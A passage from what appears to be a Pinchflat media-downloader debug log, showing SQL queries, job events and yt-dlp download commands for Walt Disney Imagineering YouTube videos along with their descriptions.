m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:30.291 [debug] QUERY OK source="media_items" db=0.3ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 18:56:30.291 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 18:56:30.291 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:30.292 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:30.292 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:30.292 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:30.293 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:30.293 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:30.293 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:30.293 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/4b/d94b6e89506f74153faa2127fd897b740ec681ad1aa1feb44d8e70c83d6b5eed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:31.284 [debug] Current batch of media processed. Will check again in 1000ms 18:56:32.285 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ *What makes this special?*\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n🎭 Three Stages in ONE Theater?! → https://youtu.be/Q1cJY2wpQRQ\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "duration" => 189, "filename" => "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].mp4", "id" => "xX48Eo_uC9c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xX48Eo_uC9c", "playlist_index" => 2, "timestamp" => 1774388520, "title" => "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "upload_date" => "20260324"} 18:56:32.286 [debug] QUERY OK source="sources" db=0.2ms idle=880.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:32.286 [debug] QUERY OK source="sources" db=0.1ms idle=880.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:32.287 [debug] QUERY OK source="media_items" db=0.5ms idle=881.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 21:42:00Z], 2] 18:56:32.289 [debug] QUERY OK source="media_items" db=1.7ms idle=882.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ *What makes this special?*\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n🎭 Three Stages in ONE Theater?! → https://youtu.be/Q1cJY2wpQRQ\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "3668ee04-bdb3-4fa2-9cb0-7b34a69a9e17", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, 189, false, 2, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].mp4", false, false, 2, [], 98, ~U[2026-03-24 21:42:00Z], ~U[2026-03-31 22:56:32Z], ~U[2026-03-31 22:56:32Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ *What makes this special?*\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n🎭 Three Stages in ONE Theater?! → https://youtu.be/Q1cJY2wpQRQ\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", 189, false, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].mp4", false, 2, ~U[2026-03-24 21:42:00Z]] 18:56:32.290 [debug] QUERY OK source="sources" db=0.2ms idle=730.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:32.290 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:32.291 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:56:32.291 [info] Kicking off download for media item #12518 (xX48Eo_uC9c) 18:56:32.292 [debug] QUERY OK source="tasks" db=0.2ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1734, 12518, ~U[2026-03-31 22:56:32Z], ~U[2026-03-31 22:56:32Z]] 18:56:32.292 [debug] Current batch of media processed. Will check again in 1000ms 18:56:32.298 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774997792298211006,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:32.298 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:56:32.298 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:32.299 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:32.299 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:32.299 [debug] QUERY OK source="media_items" db=0.2ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:56:32.300 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:56:32.300 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:32.300 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:32.301 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:32.301 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:32.301 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:32.301 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:32.302 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:32.302 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/ff/12ff168780e2530da16b96e9efa5df57fbaf6922c142e3dbf67d476a2215d4fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:33.293 [debug] Current batch of media processed. Will check again in 1000ms 18:56:34.294 [debug] Current batch of media processed. Will check again in 1000ms 18:56:35.295 [debug] Current batch of media processed. Will check again in 1000ms 18:56:35.363 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/4b/d94b6e89506f74153faa2127fd897b740ec681ad1aa1feb44d8e70c83d6b5eed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:56:35.364 [debug] Running yt-dlp command for action: download 18:56:35.364 [debug] QUERY OK source="settings" db=0.1ms idle=1958.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:35.364 [debug] QUERY OK source="settings" db=0.1ms idle=1959.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:35.364 [debug] QUERY OK source="settings" db=0.0ms idle=1959.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:35.365 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cb/81/cb81fc4859a56be2f9f052b44afa009d14084895b3b2dafbefbf79ad8b883d81.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:36.296 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "duration" => 267, "filename" => "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].mp4", "id" => "d-WdUYdOdHY", "live_status" => 